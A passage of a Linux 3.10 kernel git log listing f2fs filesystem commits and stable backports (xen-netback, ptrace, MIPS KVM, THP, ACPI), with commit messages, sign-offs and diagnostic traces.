002c94b0587e40f60886e04cbb398e8d6f616a97 Author: Chao Yu Date: Thu Dec 24 18:11:32 2015 +0800 f2fs: clean up f2fs_ioc_write_checkpoint Use f2fs_sync_fs to clean up codes in f2fs_ioc_write_checkpoint. Signed-off-by: Chao Yu [Jaegeuk Kim: remove unused err variable] Signed-off-by: Jaegeuk Kim commit dc13ea5472d447e482d0984d0c84e74f2ea380d9 Author: Yunlei He Date: Mon Dec 28 21:48:32 2015 +0800 f2fs: add a max block check for get_data_block_bmap This patch adds a max block check for get_data_block_bmap. Trinity test program will send a block number as parameter into ioctl_fibmap, which will be used in get_node_path(), when the block number large than f2fs max blocks, it will trigger kernel bug. Signed-off-by: Yunlei He Signed-off-by: Xue Liu [Jaegeuk Kim: fix missing condition, pointed by Chao Yu] Signed-off-by: Jaegeuk Kim commit a8de1babaa84c8772dd96eccfa55c29a4b0a8230 Author: Fan Li Date: Sat Dec 26 18:07:41 2015 +0800 f2fs: fix bugs and simplify codes of f2fs_fiemap fix bugs: 1. len could be updated incorrectly when start+len is beyond isize. 2. If there is a hole consisting of more than two blocks, it could fail to add FIEMAP_EXTENT_LAST flag for the last extent. 3. If there is an extent beyond isize, when we search extents in a range that ends at isize, it will also return the extent beyond isize, which is outside the range. Signed-off-by: Fan li Signed-off-by: Jaegeuk Kim commit b5d5bbc783975f51128a2d8c13489a189fd87da8 Author: Chao Yu Date: Thu Dec 24 18:04:56 2015 +0800 f2fs: let user being aware of IO error Sometimes we keep dumb when IO error occur in lower layer device, so user will not receive any error return value for some operation, but actually, the operation did not succeed. This sould be avoided, so this patch reports such kind of error to user. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/data.c commit 834cfb3e74142c444168a64a23ed2794df6e9cd2 Author: Chao Yu Date: Thu Dec 24 18:03:29 2015 +0800 f2fs: add missing f2fs_balance_fs in __recover_dot_dentries __recover_do_dentries will try to grab free space in storage, so fix to add missing f2fs_balance_fs here. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 55376000f529c7d17dc30ceba36f351c93d3fd46 Author: Jaegeuk Kim Date: Wed Dec 23 14:56:09 2015 -0800 f2fs: declare static function The __f2fs_commit_super is static. Signed-off-by: Jaegeuk Kim commit 46092e5798a7aaa912ac4ae40cba1f02404abe87 Author: Jaegeuk Kim Date: Wed Dec 23 13:48:58 2015 -0800 f2fs: avoid f2fs_lock_op in f2fs_write_begin If f2fs_write_begin is to update data, we can bypass calling f2fs_lock_op() in order to avoid the checkpoint latency in the write syscall. Signed-off-by: Jaegeuk Kim commit e2b38b535ef4bed12d1dcb66484bb4f54a110a04 Author: Jaegeuk Kim Date: Wed Dec 23 14:17:47 2015 -0800 f2fs: return early when trying to read null nid If get_node_page() gets zero nid, we can return early without getting a wrong page. For example, get_dnode_of_data() can try to do that. Signed-off-by: Jaegeuk Kim commit 10b811f30bde865e1c9a8ed5f6173ee90e06e9f0 Author: Jaegeuk Kim Date: Wed Dec 23 11:55:18 2015 -0800 f2fs: introduce prepare_write_begin to clean up This patch adds prepare_write_begin to clean f2fs_write_begin. The major role of this function is to convert any inline_data and allocate or find block address. Signed-off-by: Jaegeuk Kim commit 00fd98fd78a4d93bfbfac023ec0fc0027133ca17 Author: Chao Yu Date: Wed Dec 23 17:51:35 2015 +0800 f2fs: don't convert inline inode when inline_data option is disable If inline_data option is disable, when truncating an inline inode with size which is not exceed maxinum inline size, we should not convert inline inode to regular one to avoid the overhead of synchronizing conversion. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 665d17c90d638d0d146f14235b2d1d6f312724ae Author: Chao Yu Date: Wed Dec 23 17:50:30 2015 +0800 f2fs: report error of do_checkpoint do_checkpoint and write_checkpoint can fail due to reasons like triggering in a readonly fs or encountering IO error of storage device. So it's better to report such error info to user, let user be aware of failure of doing checkpoint. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 8c6b25612634cebd0cf8a75fb9babf0fcb629fe3 Author: Jaegeuk Kim Date: Tue Dec 22 13:23:35 2015 -0800 f2fs: call f2fs_balance_fs only when node was changed If user tries to update or read data, we don't need to call f2fs_balance_fs which triggers f2fs_gc, which increases unnecessary long latency. Reviewed-by: Chao Yu Signed-off-by: Jaegeuk Kim commit c69b33ed2477d371687f47fa2121a40700a87d99 Author: Chao Yu Date: Wed Dec 23 17:11:43 2015 +0800 f2fs: reduce covered region of sbi->cp_rwsem in f2fs_map_blocks Only cover sbi->cp_rwsem on one dnode page's allocation and modification instead of multiple's in f2fs_map_blocks, it can reduce the covered region of cp_rwsem, then we can avoid potential long time delay for concurrent checkpointer. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 3dc3181d54853d8c6b35fa1e4b231c82d5a4b2ad Author: Jaegeuk Kim Date: Tue Dec 22 12:59:54 2015 -0800 f2fs: record node block allocation in dnode_of_data This patch introduces recording node block allocation in dnode_of_data. This information helps to figure out whether any node block is allocated during specific file operations. Reviewed-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 9e13bdcaf507d3d1435d028aa0067f9c742aae52 Author: Jaegeuk Kim Date: Tue Dec 22 11:56:08 2015 -0800 f2fs: avoid unnecessary f2fs_gc for dir operations The f2fs_balance_fs doesn't need to cover f2fs_new_inode or f2fs_find_entry works. Reviewed-by: Chao Yu Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/namei.c commit c1f253ae050c9449ff8ecb9a8fa4e3c476d75d8a Author: Jaegeuk Kim Date: Tue Dec 22 11:09:35 2015 -0800 f2fs: check inline_data flag at converting time We can check inode's inline_data flag when calling to convert it. Reviewed-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 4a4a4f7015fa664859f653e57532bbb928ced7f5 Author: Jaegeuk Kim Date: Mon Dec 21 19:25:50 2015 -0800 f2fs: speed up shrinking extent tree entries If there is no candidates for shrinking slab entries, we don't need to traverse any trees at all. Reviewed-by: Chao Yu [Jaegeuk Kim: fix missing initialization reported by Yunlei He] Signed-off-by: Jaegeuk Kim commit c2fc8727e32fd2d9c710a1a2b0e53a7d0ff07d76 Author: Jaegeuk Kim Date: Mon Dec 21 19:20:15 2015 -0800 f2fs: use atomic variable for total_extent_tree It would be better to use atomic variable for total_extent_tree. Reviewed-by: Chao Yu Signed-off-by: Jaegeuk Kim commit b70e2b20452f77c0933d2b309d2c50c30e51fd92 Author: Chao Yu Date: Thu Dec 17 17:17:16 2015 +0800 f2fs: add a tracepoint for sync_dirty_inodes This patch adds a tracepoint for sync_dirty_inodes. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit c3a36e3a9ca798eb3a7e34003f04a9c37051632a Author: Fan Li Date: Thu Dec 17 13:20:59 2015 +0800 f2fs: optimize the flow of f2fs_map_blocks check map->m_len right after it changes to avoid excess call to update dnode_of_data. Signed-off-by: Fan li Reviewed-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 69198a73cc8fb0cc6fe618841edd5b98479b969e Author: Chao Yu Date: Thu Dec 17 17:13:28 2015 +0800 f2fs: support data flush in background Previously, when finishing a checkpoint, we have persisted all fs meta info including meta inode, node inode, dentry page of directory inode, so, after a sudden power cut, f2fs can recover from last checkpoint with full directory structure. But during checkpoint, we didn't flush dirty pages of regular and symlink inode, so such dirty datas still in memory will be lost in that moment of power off. In order to reduce the chance of lost data, this patch enables f2fs_balance_fs_bg with the ability of data flushing. It will try to flush user data before starting a checkpoint. So user's data written after last checkpoint which may not be fsynced could be saved. When we mount with data_flush option, after every period of cp_interval (could be configured in sysfs: /sys/fs/f2fs/device/cp_interval) seconds user data could be flushed into device once f2fs_balance_fs_bg was called in kworker thread or gc thread. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 3b8392b1353bcd938b1fe4203c539d3ad3525719 Author: Chao Yu Date: Thu Dec 17 17:14:44 2015 +0800 f2fs: stat dirty regular/symlink inodes Add to stat dirty regular and symlink inode for showing in debugfs. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 6d56756237293bf0d5b9f0f5c05f748079b17161 Author: Chao Yu Date: Wed Dec 16 13:12:16 2015 +0800 f2fs: introduce new option for controlling data flush Add a new option 'data_flush' to enable data flush functionality. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim Conflicts: Documentation/filesystems/f2fs.txt commit 4a78339479a3a8040eafa3a2ac7ef49c1d3474d0 Author: Chao Yu Date: Wed Dec 16 13:09:20 2015 +0800 f2fs: record dirty status of regular/symlink inode Maintain regular/symlink inode which has dirty pages in global dirty list and record their total dirty pages count like the way of handling directory inode. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 76224327afdf9dae24f53fab56f47a0deb1f842c Author: Chao Yu Date: Wed Dec 16 13:19:35 2015 +0800 f2fs: introduce __f2fs_commit_super Introduce __f2fs_commit_super to include duplicated codes in f2fs_commit_super for cleanup. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit f881c8af76156d2a506ff6c8ffb1fca080f78adc Author: Jaegeuk Kim Date: Tue Dec 15 16:07:14 2015 -0800 f2fs: relocate tracepoint of write_checkpoint It needs to relocate its location to see exact trace logs. Signed-off-by: Jaegeuk Kim commit c98857538948aec37b1ca451943cd91047539f7a Author: Chao Yu Date: Tue Dec 15 17:19:26 2015 +0800 f2fs: don't grab super block buffer header all the time We have already got one copy of valid super block in memory, do not grab buffer header of super block all the time. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit fe972bd9e0947384c35ae28190d0cf9e8bd82433 Author: Yunlei He Date: Tue Dec 15 17:17:20 2015 +0800 f2fs: backup raw_super in sbi f2fs use fields of f2fs_super_block struct directly in a grabbed buffer. Once the buffer happen to be destroyed (e.g. through dd), it may bring in unpredictable effect on f2fs. This patch fixes to allocate additional buffer to store datas of super block rather than using grabbed block buffer directly. Signed-off-by: Yunlei He Signed-off-by: Jaegeuk Kim Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 9a0cf5cbed250ff816edc976f814603d60773fdd Author: Fan Li Date: Tue Dec 15 17:02:41 2015 +0800 f2fs: fix to reset variable correctlly f2fs_map_blocks will set m_flags and m_len to 0, so we don't need to reset m_flags ourselves, but have to reset m_len to correct value before use it again. Signed-off-by: Fan li Reviewed-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 2102fc452420a7831462635d9fb182416fb580d6 Author: Chao Yu Date: Tue Dec 15 13:31:40 2015 +0800 f2fs: introduce __remove_dirty_inode Introduce __remove_dirty_inode to clean up codes in remove_dirty_dir_inode. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 5fa45dbe28de92f299258a358900476b764c3ed0 Author: Chao Yu Date: Tue Dec 15 13:30:45 2015 +0800 f2fs: introduce dirty list node in inode info Add a new dirt list node member in inode info for linking the inode to global dirty list in superblock, instead of old implementation which allocate slab cache memory as an entry to inode. It avoids memory pressure due to slab cache allocation, and also makes codes more clean. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit e273405e31c59cc004a619656b982e3e1c245398 Author: Chao Yu Date: Tue Dec 15 13:29:47 2015 +0800 f2fs: rename {add,remove,release}_dirty_inode to {add,remove,release}_ino_entry remove_dirty_dir_inode will be renamed to remove_dirty_inode as a generic function in following patch for removing directory/regular/symlink inode in global dirty list. Here rename ino management related functions for readability, also in order to avoid name conflict. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 8310e7046a0282f03b4531eeb39e8e7ed4d3ab69 Author: Jaegeuk Kim Date: Mon Dec 14 18:58:42 2015 -0800 f2fs: add symbol to avoid any confusion with tools This patch adds MAX_VOLUME_NAME to sync with f2fs-tools. Signed-off-by: Jaegeuk Kim commit 85d4da726b41a6c988ca1a9d89c333433e0c2abb Author: Chao Yu Date: Tue Dec 15 09:58:18 2015 +0800 f2fs: do more integrity verification for superblock Do more sanity check for superblock during ->mount. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 9a06d905c9dfaf8f3d7488c4c725d691d699b72b Author: Fan Li Date: Mon Dec 14 15:26:04 2015 +0800 f2fs: fix to update variable correctly when skip a unmapped block map.m_len should be reduced after skip a block Signed-off-by: Fan li Reviewed-by: Chao Yu Signed-off-by: Jaegeuk Kim commit d9a9c0cea8aa86c52f61cfacfabd33f1c059799a Author: Fan Li Date: Mon Dec 14 13:34:00 2015 +0800 f2fs: write only the pages in range during defragment @lend of filemap_write_and_wait_range is supposed to be a "offset in bytes where the range ends (inclusive)". Subtract 1 to avoid writing an extra page. Signed-off-by: Fan li Reviewed-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 043812f72a8ddce44caf6181c273186d2d775125 Author: Chao Yu Date: Fri Dec 11 16:08:22 2015 +0800 f2fs: clean up node page updating flow If read_node_page return LOCKED_PAGE, in its caller it's better a) skip unneeded 'Update' flag and mapping info verfication; b) check nid value stored in footer structure of node page. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/node.c commit c1f1877c262d83c51787cc7c85fae0a819abbe24 Author: Jaegeuk Kim Date: Mon Dec 7 10:18:54 2015 -0800 f2fs: use lock_buffer when changing superblock When modifying sb contents, we need to use lock its buffer. Signed-off-by: Jaegeuk Kim commit 4c76c57fa2066a2b3c767bce4e1c3bd59cbca067 Author: Jaegeuk Kim Date: Mon Dec 7 10:16:58 2015 -0800 f2fs: refactor f2fs_commit_super Previously, f2fs_commit_super hacks the bh->blocknr to write the broken alternate superblock. Instead of it, we should use the correct logic to retrieve its buffer head with locking it appropriately. Reviewed-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 7c1e8e4555e41371742dbeff60701a7dcf6c7036 Author: Jaegeuk Kim Date: Fri Dec 4 16:51:13 2015 -0800 f2fs: enhance the bit operation for SSR This patch enhances the existing bit operation when f2fs allocates SSR blocks. Reviewed-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 69ab2e15c544849bfb7569fdd25e90ea28c920f3 Author: Chao Yu Date: Tue Dec 1 11:36:16 2015 +0800 f2fs: fix to convert inline inode in ->setattr In commit 3c4541452748 ("f2fs: do not trim preallocated blocks when truncating after i_size"), in order to follow the regulation: "truncate(x) where x > i_size will not trim all blocks past i_size." like other file systems, in ->setattr we invoked truncate_setsize instead of f2fs_truncate to avoid unneeded block trimming in such case, but forgot to call f2fs_convert_inline_inode keep consistency of inline data conversion rule. This patch fixes to convert inline data if necessary. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 4174e6cfca89b270642fe37bddcc236207fff22b Author: Chao Yu Date: Tue Dec 1 11:56:52 2015 +0800 f2fs: use sbi->blocks_per_seg to avoid unnecessary calculation Use sbi->blocks_per_seg directly to avoid unnecessary calculation when using 1 << sbi->log_blocks_per_seg. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 1ea7755e062445d886838f7be9dc9144e67c42ff Author: Chao Yu Date: Tue Dec 1 11:47:33 2015 +0800 f2fs: kill f2fs_drop_largest_extent For direct IO, f2fs only allocate new address for the block which is not exist in the disk before, its mapping info should not exist in extent cache previously, so here we do not need to call f2fs_drop_largest_extent to drop related cache. Due to no more callers for f2fs_drop_largest_extent now, kill it. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 76844ea58906c6baef8ede3b4fc0de301fc6b927 Author: Chao Yu Date: Tue Dec 1 11:43:59 2015 +0800 f2fs: clean up argument of recover_data In recover_data, value of argument 'type' will be CURSEG_WARM_NODE all the time, remove it for cleanup. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 2cf16fe42923a6383da658c77dbf6711f72443b7 Author: Chao Yu Date: Tue Dec 1 11:42:54 2015 +0800 f2fs: clean up code with __has_cursum_space Clean up codes in lookup_journal_in_cursum() with __has_cursum_space(). Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 11ac1ca11f008b242145e0f5f483f794f06a3a6e Author: Chao Yu Date: Tue Dec 1 11:41:50 2015 +0800 f2fs: clean up error path in f2fs_readdir No logic changes, just clean up the error path. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/dir.c commit 3e77f47b4f37eeda4223e6cbc2b3ac249b3fe3c7 Author: Jaegeuk Kim Date: Thu Dec 3 14:14:40 2015 -0800 f2fs: do not recover from previous remained wrong dnodes If device does not support discard, some obsolete dnodes can be recovered by roll-forward. This patch enhances the recovery flow. Signed-off-by: Jaegeuk Kim commit 0c82846dd7b21eb62c434f6dfacf5e291189b207 Author: Jaegeuk Kim Date: Mon Nov 30 16:26:44 2015 -0800 f2fs: avoid deadlock in f2fs_shrink_extent_tree While handling extent trees, we can enter into a reclaiming path anytime. If it tries to release some extent nodes in the same extent tree, write_lock(&et->lock) would be hanged. In order to avoid the deadlock, we can just skip it. Note that, if it is an unreferenced tree, we should get write_lock(&et->lock) successfully and release all of therein nodes. Reviewed-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 065b266a0343c12909c750b2fb9b2b1819161939 Author: Chao Yu Date: Thu Nov 19 16:09:07 2015 +0800 f2fs: fix to report error in f2fs_readdir get_lock_data_page in f2fs_readdir can fail due to a lot of reasons (i.e. no memory or IO error...), it's better to report this kind of error to user rather than ignoring it. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit bfe33edf9944bcdb4882dca8a45ba73682a4aa97 Author: Chao Yu Date: Fri Nov 13 18:27:35 2015 +0800 f2fs: clear page uptodate when dropping cache for atomic write We should clear uptodate flag for all pages atomic written when we drop them, otherwise before these cached pages were reclaimed or invalidated eventually, we will see invalid data when hitting them again. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit ab01c304f748f736293c5b0f382448c37825e9e4 Author: Fan Li Date: Thu Nov 12 08:43:04 2015 +0800 f2fs: optimize __find_rev_next_bit 1. Skip __reverse_ulong if the bitmap is empty. 2. Reduce branches and codes. According to my test, the performance of this new version is 5% higher on an empty bitmap of 64bytes, and remains about the same in the worst scenario. Signed-off-by: Fan li Signed-off-by: Jaegeuk Kim commit dfa41b574c395960fc965d85c3079e992eae23ae Author: Chao Yu Date: Tue Nov 10 18:45:07 2015 +0800 f2fs: fix to remove directory inode from dirty list If last dirty dentry page was writebacked in reclaim path, we should remove its directory inode from global dirty list to avoid unnecessary flush for this inode when doing checkpoint. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 77434a6676a87cdc797a8aa7197860837bf30c5b Author: Chao Yu Date: Tue Nov 10 18:44:20 2015 +0800 f2fs: fix to enable missing ioctl interfaces in ->compat_ioctl In 64-bit kernel f2fs can supports 32-bit ioctl system call by identifying encoded code which is converted from 32-bit one to 64-bit one in ->compat_ioctl. When we introduced new interfaces in ->ioctl, we forgot to enable them in ->compat_ioctl, so enable them for fixing. Signed-off-by: Chao Yu [Jaegeuk Kim: fix wrongly added spaces together] Signed-off-by: Jaegeuk Kim commit 4000433a55d73edebfaa8c8a961f240bc74f8d70 Author: Chao Yu Date: Mon Nov 16 20:38:25 2015 +0800 f2fs: fix memory leak of kobject in error path of fill_super f2fs_sb_info::s_kobj should be released in error path of fill_super, otherwise it will lead to memory leak. This bug was found by kmemleak: dmesg: kmemleak: 2 new suspected memory leaks (see /sys/kernel/debug/kmemleak) cat /sys/kernel/debug/kmemleak unreferenced object 0xffff8800838dc358 (size 8): comm "mount", pid 4154, jiffies 4297482839 (age 1911.412s) hex dump (first 8 bytes): 7a 72 61 6d 31 00 ff ff zram1... backtrace: [] kmemleak_alloc+0x28/0x50 [] __kmalloc_track_caller+0xef/0x1c0 [] kstrdup+0x45/0x80 [] kstrdup_const+0x28/0x30 [] kvasprintf_const+0x63/0xa0 [] kobject_set_name_vargs+0x3c/0xa0 [] kobject_add_varg+0x25/0x60 [] kobject_init_and_add+0x53/0x70 [] f2fs_fill_super+0x9d9/0xc40 [f2fs] [] mount_bdev+0x192/0x1d0 [] f2fs_mount+0x15/0x20 [f2fs] [] mount_fs+0x43/0x170 [] vfs_kern_mount+0x76/0x160 [] do_mount+0x258/0xdc0 [] SyS_mount+0x7b/0xc0 [] entry_SYSCALL_64_fastpath+0x12/0x6f ... Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 8b31da642672b7c30fe217658f93353e13ef82de Author: Chao Yu Date: Tue Oct 27 09:53:45 2015 +0800 f2fs: support file defragment This patch introduces a new ioctl F2FS_IOC_DEFRAGMENT to support file defragment in a specified range of regular file. This ioctl can be used in very limited workload: if user expects high sequential read performance in randomly written file, this interface can be used for defragmentation, after that file can be written as continuous as possible in the device. Meanwhile, it has side-effect, it will make holes in segments where blocks located originally, so it's better to trigger GC to eliminate fragment in segments. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 8bc5399d8eea9c75e8c181e3dd3e87f557477531 Author: Chao Yu Date: Wed Oct 28 17:56:14 2015 +0800 f2fs: commit atomic written page in LFS mode We should always commit atomic written pages in LFS mode, otherwise data will become corrupted if we encounter suddent power cut after partial pages committed in IPU mode. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit fcdea403fca33bad3d7d5999beb696a0e13b6275 Author: Chao Yu Date: Thu Oct 29 09:13:04 2015 +0800 f2fs: report error of f2fs_create_root_stats f2fs_create_root_stats can fail due to no memory, report it to user. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 1e104f80e645c93d63e7d3f774adcc1b083e6cf0 Author: Willy Tarreau Date: Tue Dec 13 12:15:50 2016 +0530 Linux 3.10.104 commit 12d6a852db4ddf4ecd06fe5a926ce59511eb1a66 Author: Willy Tarreau Date: Fri Oct 21 12:13:35 2016 +0200 Linux 3.10.104 Signed-off-by: Pranav Vashi commit ab0bc295c6b0c43826b2e0cb5acb96febfb55892 Author: Wei Liu Date: Fri Jul 11 17:37:37 2014 +0100 xen-netback: ref count shared rings ... so that we can make sure the rings are not freed until all SKBs in internal queues are consumed. 1. The VM is receiving packets through bonding + bridge + netback + netfront. 2. For some unknown reason at least one packet remains in the rx queue and is not delivered to the domU immediately by netback. 3. The VM finishes shutting down. 4. The shared ring between dom0 and domU is freed. 5. then xen-netback continues processing the pending requests and tries to put the packet into the now already released shared ring. > XXXlan0: port 9(vif26.0) entered disabled state > BUG: unable to handle kernel paging request at ffffc900108641d8 > IP: [] xen_netbk_rx_action+0x18b/0x6f0 [xen_netback] > PGD 57e20067 PUD 57e21067 PMD 571a7067 PTE 0 > Oops: 0000 [#1] SMP > ... > CPU: 0 PID: 12587 Comm: netback/0 Not tainted 3.10.0-ucs58-amd64 #1 Debian 3.10.11-1.58.201405060908 > Hardware name: FUJITSU PRIMERGY BX620 S6/D3051, BIOS 080015 Rev.3C78.3051 07/22/2011 > task: ffff880004b067c0 ti: ffff8800561ec000 task.ti: ffff8800561ec000 > RIP: e030:[] [] xen_netbk_rx_action+0x18b/0x6f0 [xen_netback] > RSP: e02b:ffff8800561edce8 EFLAGS: 00010202 > RAX: ffffc900104adac0 RBX: ffff8800541e95c0 RCX: ffffc90010864000 > RDX: 000000000000003b RSI: 0000000000000000 RDI: ffff880040014380 > RBP: ffff8800570e6800 R08: 0000000000000000 R09: ffff880004799800 > R10: ffffffff813ca115 R11: ffff88005e4fdb08 R12: ffff880054e6f800 > R13: ffff8800561edd58 R14: ffffc900104a1000 R15: 0000000000000000 > FS: 00007f19a54a8700(0000) GS:ffff88005da00000(0000) knlGS:0000000000000000 > CS: e033 DS: 0000 ES: 0000 CR0: 000000008005003b > CR2: ffffc900108641d8 CR3: 0000000054cb3000 CR4: 0000000000002660 > DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 > DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 > Stack: > ffff880004b06ba0 0000000000000000 ffff88005da13ec0 ffff88005da13ec0 > 0000000004b067c0 ffffc900104a8ac0 ffffc900104a1020 000000005da13ec0 > 0000000000000000 0000000000000001 ffffc900104a8ac0 ffffc900104adac0 > Call Trace: > [] ? _raw_spin_lock_irqsave+0x11/0x2f > [] ? xen_netbk_kthread+0x174/0x841 [xen_netback] > [] ? wake_up_bit+0x20/0x20 > [] ? xen_netbk_tx_build_gops+0xce8/0xce8 [xen_netback] > [] ? kthread_freezable_should_stop+0x56/0x56 > [] ? xen_netbk_tx_build_gops+0xce8/0xce8 [xen_netback] > [] ? kthread+0xab/0xb3 > [] ? xen_end_context_switch+0xe/0x1c > [] ? kthread_freezable_should_stop+0x56/0x56 > [] ? ret_from_fork+0x7c/0xb0 > [] ? kthread_freezable_should_stop+0x56/0x56 > Code: 8b b3 d0 00 00 00 48 8b bb d8 00 00 00 0f b7 74 37 02 89 70 08 eb 07 c7 40 08 00 00 00 00 89 d2 c7 40 04 00 00 00 00 48 83 c2 08 <0f> b7 34 d1 89 30 c7 44 24 60 00 00 00 00 8b 44 d1 04 89 44 24 > RIP [] xen_netbk_rx_action+0x18b/0x6f0 [xen_netback] > RSP > CR2: ffffc900108641d8 Track the shared ring buffer being unmapped and drop those packets. Ref-count the rings as followed: map -> set to 1 start_xmit -> inc when queueing SKB to internal queue rx_action -> dec after finishing processing a SKB unmap -> dec and wait to be 0 Note that this is different from ref counting the vif structure itself. Currently only guest Rx path is taken care of because that's where the bug surfaced. This bug doesn't exist in kernel >=3.12 as multi-queue support was added there. Link: Signed-off-by: Wei Liu Signed-off-by: Philipp Hahn Cc: David Vrabel Tested-by: Philipp Hahn Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit ba9bc99c6054fccd567308df60b554d43e3b6d4b Author: Jann Horn Date: Wed Jan 20 15:00:01 2016 -0800 security: let security modules use PTRACE_MODE_* with bitmasks commit 3dfb7d8cdbc7ea0c2970450e60818bb3eefbad69 upstream. It looks like smack and yama weren't aware that the ptrace mode can have flags ORed into it - PTRACE_MODE_NOAUDIT until now, but only for /proc/$pid/stat, and with the PTRACE_MODE_*CREDS patch, all modes have flags ORed into them. Signed-off-by: Jann Horn Acked-by: Kees Cook Acked-by: Casey Schaufler Cc: Oleg Nesterov Cc: Ingo Molnar Cc: James Morris Cc: "Serge E. Hallyn" Cc: Andy Shevchenko Cc: Andy Lutomirski Cc: Al Viro Cc: "Eric W. Biederman" Cc: Willy Tarreau Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds [wt: no smk_ptrace_mode() in 3.10] Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit fa0264fc94caac45b9a35f3cc6ce2609c2da26b9 Author: James Hogan Date: Thu Sep 15 22:51:27 2016 +0100 MIPS: KVM: Check for pfn noslot case commit ba913e4f72fc9cfd03dad968dfb110eb49211d80 upstream. When mapping a page into the guest we error check using is_error_pfn(), however this doesn't detect a value of KVM_PFN_NOSLOT, indicating an error HVA for the page. This can only happen on MIPS right now due to unusual memslot management (e.g. being moved / removed / resized), or with an Enhanced Virtual Memory (EVA) configuration where the default KVM_HVA_ERR_* and kvm_is_error_hva() definitions are unsuitable (fixed in a later patch). This case will be treated as a pfn of zero, mapping the first page of physical memory into the guest. It would appear the MIPS KVM port wasn't updated prior to being merged (in v3.10) to take commit 81c52c56e2b4 ("KVM: do not treat noslot pfn as a error pfn") into account (merged v3.8), which converted a bunch of is_error_pfn() calls to is_error_noslot_pfn(). Switch to using is_error_noslot_pfn() instead to catch this case properly. Fixes: 858dd5d45733 ("KVM/MIPS32: MMU/TLB operations for the Guest.") Signed-off-by: James Hogan Cc: Paolo Bonzini Cc: "Radim KrÄÂmář" Cc: Ralf Baechle Cc: linux-mips@linux-mips.org Cc: kvm@vger.kernel.org Signed-off-by: Paolo Bonzini [james.hogan@imgtec.com: Backport to v3.16.y] Signed-off-by: James Hogan Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit d8d6fa68ddc5bbe61c18507935e3ca2869bc972e Author: Andrea Arcangeli Date: Fri Feb 26 15:19:28 2016 -0800 mm: thp: fix SMP race condition between THP page fault and MADV_DONTNEED commit ad33bb04b2a6cee6c1f99fabb15cddbf93ff0433 upstream. pmd_trans_unstable()/pmd_none_or_trans_huge_or_clear_bad() were introduced to locklessy (but atomically) detect when a pmd is a regular (stable) pmd or when the pmd is unstable and can infinitely transition from pmd_none() and pmd_trans_huge() from under us, while only holding the mmap_sem for reading (for writing not). While holding the mmap_sem only for reading, MADV_DONTNEED can run from under us and so before we can assume the pmd to be a regular stable pmd we need to compare it against pmd_none() and pmd_trans_huge() in an atomic way, with pmd_trans_unstable(). The old pmd_trans_huge() left a tiny window for a race. Useful applications are unlikely to notice the difference as doing MADV_DONTNEED concurrently with a page fault would lead to undefined behavior. [js] 3.12 backport: no pmd_devmap in 3.12 yet. [akpm@linux-foundation.org: tidy up comment grammar/layout] Signed-off-by: Andrea Arcangeli Reported-by: Kirill A. Shutemov Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Cc: Vlastimil Babka Signed-off-by: Jiri Slaby Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit d158884088e2e8cd5f23c9e11eb9a96ff1a031e9 Author: Dan Carpenter Date: Thu May 5 16:23:04 2016 +0300 ACPI / sysfs: fix error code in get_status() commit f18ebc211e259d4f591e39e74b2aa2de226c9a1d upstream. The problem with ornamental, do-nothing gotos is that they lead to "forgot to set the error code" bugs. We should be returning -EINVAL here but we don't. It leads to an uninitalized variable in counter_show(): drivers/acpi/sysfs.c:603 counter_show() error: uninitialized symbol 'status'. Fixes: 1c8fce27e275 (ACPI: introduce drivers/acpi/sysfs.c) Signed-off-by: Dan Carpenter Signed-off-by: Rafael J. Wysocki Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit d9d31ad1af90ecc993b1ef426ce7422c56d4b9e8 Author: Ian Abbott Date: Wed Jun 29 20:27:44 2016 +0100 staging: comedi: 